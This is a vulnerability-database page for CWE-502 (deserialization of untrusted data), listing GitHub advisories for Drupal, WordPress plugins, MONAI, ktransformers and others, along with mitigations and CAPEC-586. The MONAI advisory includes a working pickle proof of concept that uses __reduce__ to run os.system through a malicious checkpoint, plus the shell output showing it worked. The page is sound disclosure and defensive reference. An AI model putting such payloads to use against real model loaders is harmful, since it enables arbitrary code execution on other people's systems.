CWE-502
AllowedDeserialization of Untrusted Data
Abstraction: Base · Status: Draft
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
4819 vulnerabilities reference this CWE, most recent first.
GHSA-6RMQ-X2HV-VXPP
Vulnerability from github – Published: 2019-12-02 18:11 – Updated: 2024-02-05 15:41In Drupal Core versions 7.x prior to 7.62, 8.6.x prior to 8.6.6 and 8.5.x prior to 8.5.9; Drupal core uses the third-party PEAR Archive_Tar library. This library has released a security update which impacts some Drupal configurations. Refer to CVE-2018-1000888 for details
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/drupal"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.62.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/drupal"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.5.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/drupal"
},
"ranges": [
{
"events": [
{
"introduced": "8.6.0"
},
{
"fixed": "8.6.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-6338"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2019-12-02T00:34:49Z",
"nvd_published_at": "2019-01-22T14:29:00Z",
"severity": "HIGH"
},
"details": "In Drupal Core versions 7.x prior to 7.62, 8.6.x prior to 8.6.6 and 8.5.x prior to 8.5.9; Drupal core uses the third-party PEAR Archive_Tar library. This library has released a security update which impacts some Drupal configurations. Refer to CVE-2018-1000888 for details",
"id": "GHSA-6rmq-x2hv-vxpp",
"modified": "2024-02-05T15:41:44Z",
"published": "2019-12-02T18:11:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-6338"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/drupal/drupal/CVE-2019-6338.yaml"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2019/02/msg00032.html"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2019/dsa-4370"
},
{
"type": "WEB",
"url": "https://www.drupal.org/sa-core-2019-001"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/106706"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Drupal core third-party PEAR Archive_Tar library is vulnerable to Deserialization of Untrusted Data"
}
GHSA-6RMW-X686-5X74
Vulnerability from github – Published: 2025-11-25 21:32 – Updated: 2025-11-26 15:34An issue was discovered in jishenghua JSH_ERP 2.3.1. The /serialNumber/addSerialNumber endpoint is vulnerable to fastjson deserialization attacks.
{
"affected": [],
"aliases": [
"CVE-2025-51746"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-25T21:15:56Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered in jishenghua JSH_ERP 2.3.1. The /serialNumber/addSerialNumber endpoint is vulnerable to fastjson deserialization attacks.",
"id": "GHSA-6rmw-x686-5x74",
"modified": "2025-11-26T15:34:11Z",
"published": "2025-11-25T21:32:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-51746"
},
{
"type": "WEB",
"url": "https://blog.hackpax.top/jsh-erp5"
},
{
"type": "WEB",
"url": "https://gist.github.com/Paxsizy/cd1557aeba8093a8650601c4dbffb6f9"
},
{
"type": "WEB",
"url": "https://gitee.com/jishenghua"
},
{
"type": "WEB",
"url": "https://gitee.com/jishenghua/JSH_ERP"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6RPP-H47M-WX9V
Vulnerability from github – Published: 2023-01-10 00:30 – Updated: 2023-01-13 09:30The WPtouch WordPress plugin before 4.3.45 unserialises the content of an imported settings file, which could lead to PHP object injections issues when an user import (intentionally or not) a malicious settings file and a suitable gadget chain is present on the blog.
{
"affected": [],
"aliases": [
"CVE-2022-3417"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-09T23:15:00Z",
"severity": "HIGH"
},
"details": "The WPtouch WordPress plugin before 4.3.45 unserialises the content of an imported settings file, which could lead to PHP object injections issues when an user import (intentionally or not) a malicious settings file and a suitable gadget chain is present on the blog.",
"id": "GHSA-6rpp-h47m-wx9v",
"modified": "2023-01-13T09:30:26Z",
"published": "2023-01-10T00:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3417"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/55772932-eebd-475b-b5df-e80fab288ee5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6RV8-QJF4-HJGV
Vulnerability from github – Published: 2023-07-13 03:30 – Updated: 2024-04-04 06:06The User Registration plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 3.0.1 via deserialization of untrusted input from the 'profile-pic-url' parameter. This allows authenticated attackers, with subscriber-level permissions and above, to inject a PHP Object. No POP chain is present in the vulnerable plugin. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.
{
"affected": [],
"aliases": [
"CVE-2023-3343"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-13T03:15:10Z",
"severity": "HIGH"
},
"details": "The User Registration plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 3.0.1 via deserialization of untrusted input from the \u0027profile-pic-url\u0027 parameter. This allows authenticated attackers, with subscriber-level permissions and above, to inject a PHP Object. No POP chain is present in the vulnerable plugin. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.",
"id": "GHSA-6rv8-qjf4-hjgv",
"modified": "2024-04-04T06:06:29Z",
"published": "2023-07-13T03:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3343"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/user-registration/tags/3.0.1/includes/functions-ur-core.php#L3156"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/2932199/user-registration/trunk/includes/functions-ur-core.php#file0"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3590277a-3319-4707-b728-d75ea59e8ad9?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6V2J-8XMF-QHJC
Vulnerability from github – Published: 2025-07-16 12:30 – Updated: 2026-04-01 18:35Deserialization of Untrusted Data vulnerability in Codexpert, Inc CoSchool LMS allows Object Injection. This issue affects CoSchool LMS: from n/a through 1.4.3.
{
"affected": [],
"aliases": [
"CVE-2025-30973"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-16T12:15:25Z",
"severity": "CRITICAL"
},
"details": "Deserialization of Untrusted Data vulnerability in Codexpert, Inc CoSchool LMS allows Object Injection. This issue affects CoSchool LMS: from n/a through 1.4.3.",
"id": "GHSA-6v2j-8xmf-qhjc",
"modified": "2026-04-01T18:35:47Z",
"published": "2025-07-16T12:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30973"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/coschool/vulnerability/wordpress-coschool-lms-1-4-3-php-object-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6V3G-CCFX-69C7
Vulnerability from github – Published: 2025-12-24 00:30 – Updated: 2025-12-24 00:30Tencent HunyuanVideo load_vae Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Tencent HunyuanVideo. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
The specific flaw exists within the load_vae function.The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-27186.
{
"affected": [],
"aliases": [
"CVE-2025-13710"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-23T22:15:45Z",
"severity": "HIGH"
},
"details": "Tencent HunyuanVideo load_vae Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Tencent HunyuanVideo. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the load_vae function.The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-27186.",
"id": "GHSA-6v3g-ccfx-69c7",
"modified": "2025-12-24T00:30:14Z",
"published": "2025-12-24T00:30:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13710"
},
{
"type": "WEB",
"url": "https://github.com/Tencent-Hunyuan/HunyuanVideo/commit/b47e10b95483aa8458b64d23350844c29e91c408"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1030"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6V6H-V95W-6G6X
Vulnerability from github – Published: 2026-02-26 15:30 – Updated: 2026-02-26 15:30Deserialization of untrusted data in the LanguageModel class of Flair from versions 0.4.1 to latest are vulnerable to arbitrary code execution when loading a malicious model.
{
"affected": [],
"aliases": [
"CVE-2026-3071"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-26T15:17:48Z",
"severity": "HIGH"
},
"details": "Deserialization of untrusted data in the LanguageModel class of Flair from versions 0.4.1 to latest are vulnerable to arbitrary code execution when loading a malicious model.",
"id": "GHSA-6v6h-v95w-6g6x",
"modified": "2026-02-26T15:30:30Z",
"published": "2026-02-26T15:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3071"
},
{
"type": "WEB",
"url": "https://www.hiddenlayer.com/sai-security-advisory/2026-02-flair"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6V7R-RPRM-9CXF
Vulnerability from github – Published: 2021-12-07 00:00 – Updated: 2021-12-08 00:01Laravel v5.1 was discovered to contain a deserialization vulnerability via the component \Mockery\Generator\DefinedTargetClass.
{
"affected": [],
"aliases": [
"CVE-2021-37298"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-06T21:15:00Z",
"severity": "CRITICAL"
},
"details": "Laravel v5.1 was discovered to contain a deserialization vulnerability via the component \\Mockery\\Generator\\DefinedTargetClass.",
"id": "GHSA-6v7r-rprm-9cxf",
"modified": "2021-12-08T00:01:49Z",
"published": "2021-12-07T00:00:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37298"
},
{
"type": "WEB",
"url": "https://github.com/Stakcery/happywd/issues/1"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6VM5-6JV9-RJPJ
Vulnerability from github – Published: 2025-09-09 21:19 – Updated: 2026-06-06 00:33Summary
In model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True) in monai/bundle/scripts.py , weights_only=True is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints.
This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface.
Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution.
The following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints.
import os
import tempfile
import json
import torch
from pathlib import Path
class MaliciousPayload:
def __reduce__(self):
return (os.system, ('touch /tmp/hacker2.txt',))
def test_checkpoint_loader_attack():
temp_dir = Path(tempfile.mkdtemp())
checkpoint_file = temp_dir / "malicious_checkpoint.pt"
malicious_checkpoint = {
'model_state_dict': MaliciousPayload(),
'optimizer_state_dict': {},
'epoch': 100
}
torch.save(malicious_checkpoint, checkpoint_file)
from monai.handlers import CheckpointLoader
import torch.nn as nn
model = nn.Linear(10, 1)
loader = CheckpointLoader(
load_path=str(checkpoint_file),
load_dict={"model": model}
)
class MockEngine:
def __init__(self):
self.state = type('State', (), {})()
self.state.max_epochs = None
self.state.epoch = 0
engine = MockEngine()
loader(engine)
proof_file = "/tmp/hacker2.txt"
if os.path.exists(proof_file):
print("Succes")
#os.remove(proof_file)
return True
else:
print("False")
return False
if __name__ == "__main__":
success = test_checkpoint_loader_attack()
Because my test environment is missing some content, an error will be reported during operation, but the operation is still executed.
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log checkpoint_pwned.txt hacker1.txt selenium-managersXRcjF supervisor.sock supervisord.pid tmpgjp8145d tmpi3_u3wn8 tmpjvuhwif6 tmpkocoo34q tmpp3q8occa
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python p2.py
Traceback (most recent call last):
File "/root/autodl-tmp/mmm/p2.py", line 61, in <module>
success = test_checkpoint_loader_attack()
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/root/autodl-tmp/mmm/p2.py", line 48, in test_checkpoint_loader_attack
loader(engine)
^^^^^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/monai/handlers/checkpoint_loader.py", line 146, in __call__
Checkpoint.load_objects(to_load=self.load_dict, checkpoint=checkpoint, strict=self.strict)
File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 624, in load_objects
_tree_apply2(_load_object, to_load, checkpoint_obj)
File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 209, in _tree_apply2
_tree_apply2(func, _CollectionItem.wrap(x, k, v), y[k])
File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 216, in _tree_apply2
return func(x, y)
^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 613, in _load_object
obj.load_state_dict(chkpt_obj, **kwargs)
File "/root/miniconda3/lib/python3.12/site-packages/torch/nn/modules/module.py", line 2581, in load_state_dict
raise RuntimeError(
RuntimeError: Error(s) in loading state_dict for Linear:
Missing key(s) in state_dict: "weight", "bias".
Unexpected key(s) in state_dict: "model_state_dict", "optimizer_state_dict", "epoch".
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log checkpoint_pwned.txt hacker1.txt hacker2.txt selenium-managersXRcjF supervisor.sock supervisord.pid tmpgjp8145d tmpi02txakb tmpi3_u3wn8 tmpjvuhwif6 tmpkocoo34q tmpp3q8occa
Impact
Leading to arbitrary command execution
Fix suggestion
Use a safe method to load, or force weights_only=True
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.5.0"
},
"package": {
"ecosystem": "PyPI",
"name": "monai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-58756"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-09T21:19:59Z",
"nvd_published_at": "2025-09-09T00:15:32Z",
"severity": "HIGH"
},
"details": "### Summary\nIn ```model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True)``` in monai/bundle/scripts.py , ```weights_only=True``` is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints.\n\nThis is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface.\n\nLoading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution.\n\nThe following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints.\n\n```\n\nimport os \nimport tempfile \nimport json \nimport torch \nfrom pathlib import Path \n \nclass MaliciousPayload: \n def __reduce__(self): \n return (os.system, (\u0027touch /tmp/hacker2.txt\u0027,)) \n \ndef test_checkpoint_loader_attack(): \n\n \n\n temp_dir = Path(tempfile.mkdtemp()) \n checkpoint_file = temp_dir / \"malicious_checkpoint.pt\" \n \n\n malicious_checkpoint = { \n \u0027model_state_dict\u0027: MaliciousPayload(), \n \u0027optimizer_state_dict\u0027: {}, \n \u0027epoch\u0027: 100 \n } \n \n\n torch.save(malicious_checkpoint, checkpoint_file) \n \n \n from monai.handlers import CheckpointLoader \n import torch.nn as nn \n \n \n model = nn.Linear(10, 1) \n \n loader = CheckpointLoader( \n load_path=str(checkpoint_file), \n load_dict={\"model\": model} \n ) \n \n class MockEngine: \n def __init__(self): \n self.state = type(\u0027State\u0027, (), {})() \n self.state.max_epochs = None \n self.state.epoch = 0 \n \n engine = MockEngine() \n loader(engine) \n \n \n proof_file = \"/tmp/hacker2.txt\" \n if os.path.exists(proof_file): \n print(\"Succes\") \n #os.remove(proof_file) \n return True \n else: \n print(\"False\") \n return False \n \nif __name__ == \"__main__\": \n success = test_checkpoint_loader_attack() \n\n```\nBecause my test environment is missing some content, an error will be reported during operation, but the operation is still executed.\n```\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp\nautodl.sh.log checkpoint_pwned.txt hacker1.txt selenium-managersXRcjF supervisor.sock supervisord.pid tmpgjp8145d tmpi3_u3wn8 tmpjvuhwif6 tmpkocoo34q tmpp3q8occa\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python p2.py \nTraceback (most recent call last):\n File \"/root/autodl-tmp/mmm/p2.py\", line 61, in \u003cmodule\u003e\n success = test_checkpoint_loader_attack() \n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"/root/autodl-tmp/mmm/p2.py\", line 48, in test_checkpoint_loader_attack\n loader(engine) \n ^^^^^^^^^^^^^^\n File \"/root/miniconda3/lib/python3.12/site-packages/monai/handlers/checkpoint_loader.py\", line 146, in __call__\n Checkpoint.load_objects(to_load=self.load_dict, checkpoint=checkpoint, strict=self.strict)\n File \"/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py\", line 624, in load_objects\n _tree_apply2(_load_object, to_load, checkpoint_obj)\n File \"/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py\", line 209, in _tree_apply2\n _tree_apply2(func, _CollectionItem.wrap(x, k, v), y[k])\n File \"/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py\", line 216, in _tree_apply2\n return func(x, y)\n ^^^^^^^^^^\n File \"/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py\", line 613, in _load_object\n obj.load_state_dict(chkpt_obj, **kwargs)\n File \"/root/miniconda3/lib/python3.12/site-packages/torch/nn/modules/module.py\", line 2581, in load_state_dict\n raise RuntimeError(\nRuntimeError: Error(s) in loading state_dict for Linear:\n Missing key(s) in state_dict: \"weight\", \"bias\". \n Unexpected key(s) in state_dict: \"model_state_dict\", \"optimizer_state_dict\", \"epoch\". \nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp\nautodl.sh.log checkpoint_pwned.txt hacker1.txt hacker2.txt selenium-managersXRcjF supervisor.sock supervisord.pid tmpgjp8145d tmpi02txakb tmpi3_u3wn8 tmpjvuhwif6 tmpkocoo34q tmpp3q8occa\n```\n\n\n### Impact\nLeading to arbitrary command execution\n### Fix suggestion\nUse a safe method to load, or force weights_only=True",
"id": "GHSA-6vm5-6jv9-rjpj",
"modified": "2026-06-06T00:33:01Z",
"published": "2025-09-09T21:19:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-6vm5-6jv9-rjpj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58756"
},
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/pull/8566"
},
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/commit/948fbb703adcb87cd04ebd83d20dcd8d73bf6259"
},
{
"type": "PACKAGE",
"url": "https://github.com/Project-MONAI/MONAI"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/monai/PYSEC-2025-141.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "MONAI: Unsafe torch usage may lead to arbitrary code execution"
}
GHSA-6VQG-J4CX-CQV4
Vulnerability from github – Published: 2026-07-20 21:31 – Updated: 2026-07-20 21:31ktransformers through 0.6.3, fixed in commit def0f93, contains an unauthenticated pickle deserialization vulnerability that allows remote attackers to execute arbitrary commands by sending crafted pickle payloads to the SchedulerServer ZMQ ROUTER socket bound to all interfaces. Attackers can exploit malicious reduce methods embedded in crafted pickle payloads to execute arbitrary shell commands as the server process.
{
"affected": [],
"aliases": [
"CVE-2026-63767"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-20T20:16:46Z",
"severity": "CRITICAL"
},
"details": "ktransformers through 0.6.3, fixed in commit def0f93, contains an unauthenticated pickle deserialization vulnerability that allows remote attackers to execute arbitrary commands by sending crafted pickle payloads to the SchedulerServer ZMQ ROUTER socket bound to all interfaces. Attackers can exploit malicious __reduce__ methods embedded in crafted pickle payloads to execute arbitrary shell commands as the server process.",
"id": "GHSA-6vqg-j4cx-cqv4",
"modified": "2026-07-20T21:31:50Z",
"published": "2026-07-20T21:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63767"
},
{
"type": "WEB",
"url": "https://github.com/kvcache-ai/ktransformers/issues/2087"
},
{
"type": "WEB",
"url": "https://github.com/kvcache-ai/ktransformers/pull/2091"
},
{
"type": "WEB",
"url": "https://github.com/kvcache-ai/ktransformers/commit/def0f9313d6e063b5c5ccdfa1f6707f7a40dfdca"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/ktransformers-unauthenticated-pickle-deserialization-rce-via-zmq"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
Mitigation
When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
Mitigation
Explicitly define a final object() to prevent deserialization.
Mitigation
- Make fields transient to protect them from deserialization.
- An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
Mitigation
Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.
Mitigation
Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
CAPEC-586: Object Injection
An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static, binary format for saving to disk or transferring over a network. These objects are then deserialized when needed to recover the data/state. By injecting a malformed object into a vulnerable application, an adversary can potentially compromise the application by manipulating the deserialization process. This can result in a number of unwanted outcomes, including remote code execution.